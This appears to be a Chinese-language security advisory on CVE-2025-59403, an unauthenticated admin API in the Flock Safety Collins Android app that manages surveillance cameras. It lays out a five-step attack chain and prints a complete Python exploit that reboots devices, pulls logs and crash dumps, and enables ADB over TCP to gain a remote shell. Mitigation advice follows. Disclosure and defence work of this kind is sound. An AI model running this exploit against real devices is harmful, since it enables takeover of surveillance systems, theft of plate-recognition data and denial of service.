IPBUF安全漏洞报告
English
CVE-2025-59403 CVSS 9.8 严重

CVE-2025-59403:Flock Safety Collins应用未认证API导致远程代码执行

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59403
漏洞类型
身份认证缺失 / 远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flock Safety Android Collins Application (com.flocksafety.android.collins)

相关标签

CVE-2025-59403身份认证缺失远程代码执行RCE拒绝服务DoS信息泄露ADBFlock SafetyCollins

漏洞概述

CVE-2025-59403是Flock Safety公司Collins Android应用(包名com.flocksafety.android.collins,版本6.35.31)中的一个严重安全漏洞。该应用负责管理Flock Safety旗下Falcon、Sparrow和Bravo系列监控设备(包括车牌识别摄像头)的摄像头视频流。该应用在Android设备的8080端口暴露了多个管理API端点,但完全缺乏身份认证机制,任何能够访问该端口的网络攻击者均可直接调用这些端点。

受影响的API端点包括但不限于:/reboot(设备重启)、/logs(日志获取)、/crashpack(崩溃日志导出)以及/adb/enable(启用ADB调试)。这些未受保护的端点可导致多种安全影响:通过/reboot端点实现拒绝服务攻击(DoS);通过/logs端点获取敏感日志信息导致信息泄露;最严重的是通过/adb/enable端点启用TCP模式下的ADB调试功能,从而在无需调试确认的情况下为局域网/无线局域网内的攻击者提供Shell访问权限,实现远程代码执行(RCE)。

该漏洞的CVSS v3.1评分为9.8分,属于严重级别,其攻击向量为网络(AV:N)、攻击复杂度低(AC:L)、无需权限(PR:N)、无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响。由于Flock Safety的设备广泛应用于公共安全和执法领域,该漏洞可能对相关监控基础设施的安全运行构成重大威胁。

技术细节

该漏洞的根本原因在于Flock Safety Collins Android应用在实现管理功能时,未对暴露在8080端口的HTTP API端点实施任何身份认证或访问控制机制。

技术原理:Collins应用作为Falcon、Sparrow和Bravo等监控设备的核心控制组件,负责处理摄像头视频流和设备管理功能。应用启动后会在本地监听8080端口,提供RESTful API接口用于设备管理和调试。然而,这些API端点(包括/reboot、/logs、/crashpack和/adb/enable等)在设计时仅考虑了本地调试场景,未加入认证令牌、API密钥或任何形式的身份验证机制。

利用方式:攻击者只需与目标设备处于同一局域网或无线网络环境中,即可通过简单的HTTP请求直接访问这些端点:
1. 发送POST/GET请求至http://[target_ip]:8080/reboot即可触发设备重启,造成拒绝服务;
2. 访问http://[target_ip]:8080/logs可获取设备运行日志,可能包含敏感信息;
3. 关键的是,通过访问http://[target_ip]:8080/adb/enable可启用TCP模式下的ADB调试功能,该端点绕过了Android系统正常启用ADB调试时所需的用户确认对话框。一旦ADB以TCP模式启用,攻击者即可使用adb connect [target_ip]:5555命令连接到目标设备,获得完整的Shell访问权限,从而执行任意命令、安装恶意应用或提取敏感数据。

该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,反映了其通过网络即可被远程利用、无需任何特权或用户交互的极高危险性。

攻击链分析

STEP 1
步骤1:网络侦察
攻击者通过扫描局域网或无线网络中的开放端口,识别运行Collins应用的目标设备(端口8080开放)。Flock Safety的Falcon、Sparrow和Bravo设备通常部署在固定位置,攻击者可通过物理接近或无线接入进行侦察。
STEP 2
步骤2:确认漏洞端点
攻击者向目标设备的8080端口发送HTTP请求,确认/reboot、/logs、/crashpack和/adb/enable等管理API端点可无需认证访问。
STEP 3
步骤3:启用ADB调试(获取Shell访问)
攻击者向http://[target_ip]:8080/adb/enable发送POST请求,启用TCP模式下的ADB调试功能。该操作绕过了Android系统正常启用ADB时所需的用户确认对话框。
STEP 4
步骤4:建立远程Shell连接
攻击者使用'adb connect [target_ip]:5555'命令连接到目标设备,获得完整的Shell访问权限,实现远程代码执行。
STEP 5
步骤5:执行恶意操作
获得Shell权限后,攻击者可执行任意命令,包括提取敏感数据、安装后门、篡改摄像头视频流、窃取车牌识别记录,或通过/reboot端点发起拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-59403 - Flock Safety Collins Unauthenticated API Exploit # Exploits missing authentication on administrative API endpoints # running on port 8080 of the Collins Android application import requests import sys import argparse TARGET_PORT = 8080 def exploit_reboot(target_ip): """Trigger device reboot via unauthenticated /reboot endpoint (DoS)""" url = f"http://{target_ip}:{TARGET_PORT}/reboot" print(f"[*] Sending reboot command to {url}") try: resp = requests.post(url, timeout=5) print(f"[+] Reboot triggered - Status: {resp.status_code}") except Exception as e: print(f"[-] Error: {e}") def exploit_logs(target_ip): """Retrieve device logs via unauthenticated /logs endpoint (Info Disclosure)""" url = f"http://{target_ip}:{TARGET_PORT}/logs" print(f"[*] Fetching logs from {url}") try: resp = requests.get(url, timeout=10) print(f"[+] Logs retrieved - Status: {resp.status_code}") print(resp.text[:2000]) except Exception as e: print(f"[-] Error: {e}") def exploit_adb_enable(target_ip): """Enable ADB over TCP via unauthenticated /adb/enable endpoint (RCE)""" url = f"http://{target_ip}:{TARGET_PORT}/adb/enable" print(f"[*] Enabling ADB over TCP on {url}") try: resp = requests.post(url, timeout=5) print(f"[+] ADB enable triggered - Status: {resp.status_code}") print(f"[*] Now run: adb connect {target_ip}:5555") print(f"[*] Then: adb shell") except Exception as e: print(f"[-] Error: {e}") def exploit_crashpack(target_ip): """Retrieve crash logs via unauthenticated /crashpack endpoint""" url = f"http://{target_ip}:{TARGET_PORT}/crashpack" print(f"[*] Fetching crashpack from {url}") try: resp = requests.get(url, timeout=10) print(f"[+] Crashpack retrieved - Status: {resp.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-59403 Exploit") parser.add_argument("target", help="Target device IP address") parser.add_argument("--mode", choices=["reboot", "logs", "adb", "crashpack", "all"], default="adb", help="Exploit mode") args = parser.parse_args() if args.mode == "reboot": exploit_reboot(args.target) elif args.mode == "logs": exploit_logs(args.target) elif args.mode == "adb": exploit_adb_enable(args.target) elif args.mode == "crashpack": exploit_crashpack(args.target) elif args.mode == "all": exploit_adb_enable(args.target) exploit_logs(args.target) exploit_crashpack(args.target) exploit_reboot(args.target)

影响范围

Flock Safety Collins Application (com.flocksafety.android.collins) 6.35.31

防御指南

临时缓解措施
在等待官方修复期间,建议采取以下临时缓解措施:1)在网络层面通过防火墙或ACL规则阻止对受影响设备8080端口的外部访问;2)将监控设备部署在独立的网络分段中,与公共网络隔离;3)监控网络流量,检测对/adb/enable、/reboot等敏感端点的未授权访问尝试;4)定期检查设备状态,确保ADB调试功能未被异常启用;5)限制物理设备的网络可达范围,仅允许授权的管理人员通过受控网络进行管理操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表